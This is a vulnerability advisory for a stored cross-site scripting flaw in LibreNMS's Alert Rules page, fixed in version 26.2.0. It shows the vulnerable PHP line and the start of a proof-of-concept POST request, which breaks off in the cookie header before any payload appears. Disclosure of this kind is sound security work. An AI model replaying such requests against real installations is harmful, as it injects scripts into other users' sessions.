LibreNMS is an auto-discovering PHP/MySQL/SNMP based network monitoring tool. Versions 25.12.0 and below are affected by a Stored Cross-Site Scripting (XSS) vulnerability in the Alert Rules workflow. An attacker with administrative privileges can inject malicious scripts that execute in the browser context of any user who accesses the Alert Rules page. This issue has been fixed in version 26.2.0.

Affected: Packagist: librenms/librenms

### Summary A stored Cross-Site Scripting (XSS) vulnerability exists in LibreNMS (<= 25.12.0) in the creation of Alert Rules. This allows a user with the admin role to inject malicious JavaScript, which will be executed when the alert rules page is viewed.

### Details The stored JavaScript is displayed at line 63 of `inlcudes/html/modal/alert_rule_list.inc.php`. ``` <td><i>" . e($rule_display) . "</i></td> ```

### PoC

Request PoC: ``` POST /alert-rule HTTP/1.1 Host: 192.168.236.131 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-CSRF-TOKEN: FaBY9sq0bzXpc3mlsvyRdvg0PLInwBXPnEhHNrZF X-Requested-With: XMLHttpRequest Content-Length: 718 Origin: http://192.168.236.131 Connection: keep-alive Referer: http://192.168.236.131/device/device=1/tab=edit/section=alert-rules Cookie: XSRF-TOKEN=eyJpdiI6ImhpdDNwV29nZE1lYzc0NGxyK2dGK2c9PSIsInZhbHVlIjoiUkpXUUlMYTZwT2VaZmNPZExKcHNLQWxwOFVjaGM3Z2hzNVBSa2thTEluSDdBL3Q0amVURGp1Q0tjYm15akw1QmJacDRqY3Y1eTNzS3l1VSsvcjVUaTRIalBKQzVpUlRySktLTHlnTHQxa29NNzlxaXMxQzdsalpUeDNaWTRKSjkiLCJtYWMiOiIwZGQ4ZmEzZmFmZTJkOGIyZWIxOGVhZjE0MTU4ZWI5ZjFlYTI0Y2NkNjcwYTU2Y2JkMTM5MDAxZDg1YWIzY2M5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImVWbzBKRU9IaURzOUJ6OVNjREVGbFE9PSIsInZhbHVlIjoiRlJPckhRRG4yZjFiUjdGMlZTUXlhNXArT0pMcUdQY3RaV1EvRWJZdGNWUFUzYjhVaWx…